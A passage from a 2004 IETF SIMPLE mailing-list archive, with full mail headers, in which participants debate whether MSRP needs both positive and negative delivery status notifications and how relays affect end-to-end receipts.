	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i3116as22561;
	Thu, 1 Apr 2004 04:06:36 +0300 (EET DST)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 04:06:28 +0300
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 04:06:28 +0300
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797870@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQXcdwhvs3jo4zdSGCSGXxndAwuiwAE2knA
To: <bcampbell@dynamicsoft.com>, <oritl@microsoft.com>
Cc: <vkg@lucent.com>, <vikas@arciis.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 01 Apr 2004 01:06:28.0041 (UTC) FILETIME=[8F980390:01C41785]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 1 Apr 2004 04:06:27 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

My question was: How useful is it to have both notification modes =
(positive and negative) for session IMs?  Isn't notification on failure =
enough?

/Hisham

> -----Original Message-----
> From: ext Ben Campbell [mailto:bcampbell@dynamicsoft.com]
> Sent: 01.April.2004 01:45
> To: Orit Levin
> Cc: Khartabil Hisham (Nokia-TP-MSW/Helsinki); vkg@lucent.com;
> vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> (Nokia-M/Espoo)
> Subject: Re: [Simple] return receipt and delivery status notification
> for MSRP
>=20
>=20
>=20
> As Orit says, DSN will be very important for MSRP.
>=20
> The current thinking is that MSRP relays will be session=20
> stateless, and=20
> that transactions are entirely hop-by-hop. The relay=20
> semantics would be=20
> similar to those of the SIMS draft, with MSRP syntax.
>=20
> As Orit hinted, this means that a transaction response is merely an=20
> indication that the transaction succeeded, not that the message has=20
> reached its destination. So in non peer-to-peer sessions, DSN=20
> is critical.
>=20
> We do expect it to be optional, as it is much less useful in the=20
> peer-to-peer case, where is just constitutes redundant messaging.
>=20
> Orit Levin wrote:
> > Hisham,
> > It is VERY useful because
> >=20
> > 1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
> > message was actually delivered end-to-end.
> > 2. MSRP hop-by-hop application-timer-based mechanism=20
> doesn't prevent you
> > from getting negative acknowledge in a case when the message was
> > actually delivered to the destination. In other words, it=20
> doesn't solve
> > a duplication problem.
> >=20
> > I would like to add the requirement that the "end-to-end"=20
> DSN receipt
> > needs to be requested per message (not negotiated for the=20
> whole session
> > for all messages). It will allow for writing different IM behaviors
> > using the same mechanism. Such as:
> >=20
> > 1. Loose IM session: all the user messages are sent without=20
> receipt, but
> > the application sends a heartbeat message with requesting a=20
> receipt for
> > each.
> > 2. Typical IM session: For all user messages a receipt is=20
> requested but
> > the indication messages (e.g. "The user is typing") are delivered
> > without any receipt.
> >=20
> > Thanks,
> > Orit.
> >=20
> > -----Original Message-----
> > From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]=20
> On Behalf Of
> > hisham.khartabil@nokia.com
> > Sent: Wednesday, March 31, 2004 9:26 AM
> > To: vkg@lucent.com
> > Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
> > aki.niemi@nokia.com
> > Subject: RE: [Simple] return receipt and delivery status=20
> notification
> > for MSRP
> >=20
> > This is a good summary, although point 4 can be debatable:=20
> How useful is
> > it to request receive notification in session mode?
> >=20
> > /Hisham
> >=20
> >=20
> >>-----Original Message-----
> >>From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
> >>Sent: 04.March.2004 16:53
> >>To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> >>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> >>(Nokia-M/Espoo)
> >>Subject: Re: [Simple] return receipt and delivery status=20
> notification=20
> >>for MSRP
> >>
> >>
> >>
> >>hisham.khartabil@nokia.com wrote:
> >>
> >>
> >>>It is optional. If it is annoying to you, then you don't request a=20
> >>>delivery notification. It is not every time and it is not=20
> mandatory.
> >>
> >>So, just to be pedantic, please correct me if my summary below is=20
> >>wrong:
> >>
> >>   1/ We are interested in DSNs at the _user_ level, not the
> >>      _protocol_ level (i.e. the transactional model at the
> >>      protocol level is sufficient for protocol state
> >>      machines to figure out if an IM was delivered to the
> >>      next hop successfully or not).
> >>   2/ We should design protocol provisions such that a positive
> >>      acknowledgement DSN model is supported (let me know
> >>      the current state of the IM: queued, delivered, read,
> >>      being responded to, ...).
> >>   3/ We should design protocol provisions such that a negative
> >>      acknowledgement DSN model is supported (send it and
> >>      forget it unless something drastic happens, then
> >>      let me know).
> >>   4/ Both 2 and 3 should apply to page mode and session
> >>      mode IMs.
> >>   5/ Both 2 and 3 should be configurable by the sending
> >>      user.
> >>
> >>Is this accurate?
> >>
> >>Thanks,
> >>
> >>- vijay
> >>--
> >>Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
> >>Wireless Networks Group/Internet Software and Services Lucent=20
> >>Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
> >>Naperville, Illinois 60566     Voice: +1 630 224 0216
> >>
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
>=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 20:12:14 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24246
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 20:12:14 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qkD-0002GH-8x
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 20:11:46 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i311BjHB008689
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 20:11:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qkD-0002G4-2P
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 20:11:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24211
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 20:11:42 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qkA-0000Fy-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 20:11:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qjE-0000CZ-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 20:10:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qid-000082-00; Wed, 31 Mar 2004 20:10:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qiX-00027g-5V; Wed, 31 Mar 2004 20:10:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qiK-00023B-QK
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 20:09:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24119
	for <simple@ietf.org>; Wed, 31 Mar 2004 20:09:46 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qiI-000075-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:09:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qhO-00004C-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:08:51 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qgt-000012-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:08:20 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i3117hF29922;
	Thu, 1 Apr 2004 04:07:43 +0300 (EET DST)
X-Scanned: Thu, 1 Apr 2004 04:06:47 +0300 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i3116l8U021362;
	Thu, 1 Apr 2004 04:06:47 +0300
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00UTzX2U; Thu, 01 Apr 2004 04:06:45 EEST
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i3116as22561;
	Thu, 1 Apr 2004 04:06:36 +0300 (EET DST)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 04:06:28 +0300
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 1 Apr 2004 04:06:28 +0300
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797870@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQXcdwhvs3jo4zdSGCSGXxndAwuiwAE2knA
To: <bcampbell@dynamicsoft.com>, <oritl@microsoft.com>
Cc: <vkg@lucent.com>, <vikas@arciis.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 01 Apr 2004 01:06:28.0041 (UTC) FILETIME=[8F980390:01C41785]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 1 Apr 2004 04:06:27 +0300
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

My question was: How useful is it to have both notification modes =
(positive and negative) for session IMs?  Isn't notification on failure =
enough?

/Hisham

> -----Original Message-----
> From: ext Ben Campbell [mailto:bcampbell@dynamicsoft.com]
> Sent: 01.April.2004 01:45
> To: Orit Levin
> Cc: Khartabil Hisham (Nokia-TP-MSW/Helsinki); vkg@lucent.com;
> vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> (Nokia-M/Espoo)
> Subject: Re: [Simple] return receipt and delivery status notification
> for MSRP
>=20
>=20
>=20
> As Orit says, DSN will be very important for MSRP.
>=20
> The current thinking is that MSRP relays will be session=20
> stateless, and=20
> that transactions are entirely hop-by-hop. The relay=20
> semantics would be=20
> similar to those of the SIMS draft, with MSRP syntax.
>=20
> As Orit hinted, this means that a transaction response is merely an=20
> indication that the transaction succeeded, not that the message has=20
> reached its destination. So in non peer-to-peer sessions, DSN=20
> is critical.
>=20
> We do expect it to be optional, as it is much less useful in the=20
> peer-to-peer case, where is just constitutes redundant messaging.
>=20
> Orit Levin wrote:
> > Hisham,
> > It is VERY useful because
> >=20
> > 1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
> > message was actually delivered end-to-end.
> > 2. MSRP hop-by-hop application-timer-based mechanism=20
> doesn't prevent you
> > from getting negative acknowledge in a case when the message was
> > actually delivered to the destination. In other words, it=20
> doesn't solve
> > a duplication problem.
> >=20
> > I would like to add the requirement that the "end-to-end"=20
> DSN receipt
> > needs to be requested per message (not negotiated for the=20
> whole session
> > for all messages). It will allow for writing different IM behaviors
> > using the same mechanism. Such as:
> >=20
> > 1. Loose IM session: all the user messages are sent without=20
> receipt, but
> > the application sends a heartbeat message with requesting a=20
> receipt for
> > each.
> > 2. Typical IM session: For all user messages a receipt is=20
> requested but
> > the indication messages (e.g. "The user is typing") are delivered
> > without any receipt.
> >=20
> > Thanks,
> > Orit.
> >=20
> > -----Original Message-----
> > From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]=20
> On Behalf Of
> > hisham.khartabil@nokia.com
> > Sent: Wednesday, March 31, 2004 9:26 AM
> > To: vkg@lucent.com
> > Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
> > aki.niemi@nokia.com
> > Subject: RE: [Simple] return receipt and delivery status=20
> notification
> > for MSRP
> >=20
> > This is a good summary, although point 4 can be debatable:=20
> How useful is
> > it to request receive notification in session mode?
> >=20
> > /Hisham
> >=20
> >=20
> >>-----Original Message-----
> >>From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
> >>Sent: 04.March.2004 16:53
> >>To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> >>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> >>(Nokia-M/Espoo)
> >>Subject: Re: [Simple] return receipt and delivery status=20
> notification=20
> >>for MSRP
> >>
> >>
> >>
> >>hisham.khartabil@nokia.com wrote:
> >>
> >>
> >>>It is optional. If it is annoying to you, then you don't request a=20
> >>>delivery notification. It is not every time and it is not=20
> mandatory.
> >>
> >>So, just to be pedantic, please correct me if my summary below is=20
> >>wrong:
> >>
> >>   1/ We are interested in DSNs at the _user_ level, not the
> >>      _protocol_ level (i.e. the transactional model at the
> >>      protocol level is sufficient for protocol state
> >>      machines to figure out if an IM was delivered to the
> >>      next hop successfully or not).
> >>   2/ We should design protocol provisions such that a positive
> >>      acknowledgement DSN model is supported (let me know
> >>      the current state of the IM: queued, delivered, read,
> >>      being responded to, ...).
> >>   3/ We should design protocol provisions such that a negative
> >>      acknowledgement DSN model is supported (send it and
> >>      forget it unless something drastic happens, then
> >>      let me know).
> >>   4/ Both 2 and 3 should apply to page mode and session
> >>      mode IMs.
> >>   5/ Both 2 and 3 should be configurable by the sending
> >>      user.
> >>
> >>Is this accurate?
> >>
> >>Thanks,
> >>
> >>- vijay
> >>--
> >>Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
> >>Wireless Networks Group/Internet Software and Services Lucent=20
> >>Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
> >>Naperville, Illinois 60566     Voice: +1 630 224 0216
> >>
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
>=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 20:26:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24761
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 20:26:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qye-00019z-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 20:26:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qxj-00017L-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 20:25:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qx9-00013Z-00; Wed, 31 Mar 2004 20:25:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qx3-0003ez-3h; Wed, 31 Mar 2004 20:25:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qwj-0003eW-Ag
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 20:24:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24733
	for <simple@ietf.org>; Wed, 31 Mar 2004 20:24:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qwh-00012T-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:24:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qvj-00010h-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:23:40 -0500
Received: from mail3.microsoft.com ([131.107.3.123])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qv7-0000xX-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:23:01 -0500
Received: from mail6.microsoft.com ([157.54.6.196]) by mail3.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 31 Mar 2004 17:22:44 -0800
Received: from inet-vrs-06.redmond.corp.microsoft.com ([157.54.6.181]) by mail6.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Wed, 31 Mar 2004 17:22:29 -0800
Received: from 157.54.6.197 by inet-vrs-06.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 31 Mar 2004 17:22:29 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by INET-HUB-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 31 Mar 2004 17:22:27 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <DD07841287D0AD428833021705E0D14E01D165E1@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQXcb22b7fnn5cBTtCfomFM+j5DqQAFOmBw
From: "Orit Levin" <oritl@microsoft.com>
To: "Ben Campbell" <bcampbell@dynamicsoft.com>
Cc: <hisham.khartabil@nokia.com>, <vkg@lucent.com>, <vikas@arciis.com>,
        <simple@ietf.org>, <rohan@cisco.com>, <aki.niemi@nokia.com>
X-OriginalArrivalTime: 01 Apr 2004 01:22:27.0482 (UTC) FILETIME=[CB7717A0:01C41787]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 17:22:26 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable


OL: I see the opposite, actually. The applications should not care of
the underlying topology (do we deploy relays or not) and must not change
their interface or behavior based on that. In the "no relay" single MSRP
hop deployment, the hop-by-hop mechanism is redundant because (hopefully
well-configured) TCP does the job.

Orit.
-----------------------
As Orit hinted, this means that a transaction response is merely an
indication that the transaction succeeded, not that the message has
reached its destination. So in non peer-to-peer sessions, DSN is
critical.

We do expect it to be optional, as it is much less useful in the
peer-to-peer case, where is just constitutes redundant messaging.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 20:27:12 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24810
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 20:27:12 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qyh-0003z2-VO
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 20:26:44 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i311QhaN015308
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 20:26:43 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qyh-0003yp-Og
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 20:26:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24779
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 20:26:41 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qyf-0001A4-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 20:26:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qxj-00017S-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 20:25:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qx9-00013Z-00; Wed, 31 Mar 2004 20:25:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qx3-0003ez-3h; Wed, 31 Mar 2004 20:25:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8qwj-0003eW-Ag
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 20:24:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA24733
	for <simple@ietf.org>; Wed, 31 Mar 2004 20:24:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qwh-00012T-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:24:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8qvj-00010h-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:23:40 -0500
Received: from mail3.microsoft.com ([131.107.3.123])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8qv7-0000xX-00
	for simple@ietf.org; Wed, 31 Mar 2004 20:23:01 -0500
Received: from mail6.microsoft.com ([157.54.6.196]) by mail3.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 31 Mar 2004 17:22:44 -0800
Received: from inet-vrs-06.redmond.corp.microsoft.com ([157.54.6.181]) by mail6.microsoft.com with Microsoft SMTPSVC(6.0.3790.1069);
	 Wed, 31 Mar 2004 17:22:29 -0800
Received: from 157.54.6.197 by inet-vrs-06.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 31 Mar 2004 17:22:29 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by INET-HUB-06.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 31 Mar 2004 17:22:27 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <DD07841287D0AD428833021705E0D14E01D165E1@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQXcb22b7fnn5cBTtCfomFM+j5DqQAFOmBw
From: "Orit Levin" <oritl@microsoft.com>
To: "Ben Campbell" <bcampbell@dynamicsoft.com>
Cc: <hisham.khartabil@nokia.com>, <vkg@lucent.com>, <vikas@arciis.com>,
        <simple@ietf.org>, <rohan@cisco.com>, <aki.niemi@nokia.com>
X-OriginalArrivalTime: 01 Apr 2004 01:22:27.0482 (UTC) FILETIME=[CB7717A0:01C41787]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 17:22:26 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable


OL: I see the opposite, actually. The applications should not care of
the underlying topology (do we deploy relays or not) and must not change
their interface or behavior based on that. In the "no relay" single MSRP
hop deployment, the hop-by-hop mechanism is redundant because (hopefully
well-configured) TCP does the job.

Orit.
-----------------------
As Orit hinted, this means that a transaction response is merely an
indication that the transaction succeeded, not that the message has
reached its destination. So in non peer-to-peer sessions, DSN is
critical.

We do expect it to be optional, as it is much less useful in the
peer-to-peer case, where is just constitutes redundant messaging.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 20:49:43 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26163
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 20:49:42 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rKx-00037T-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 20:49:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8rK0-00035F-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 20:48:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8rJP-00033A-00; Wed, 31 Mar 2004 20:48:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
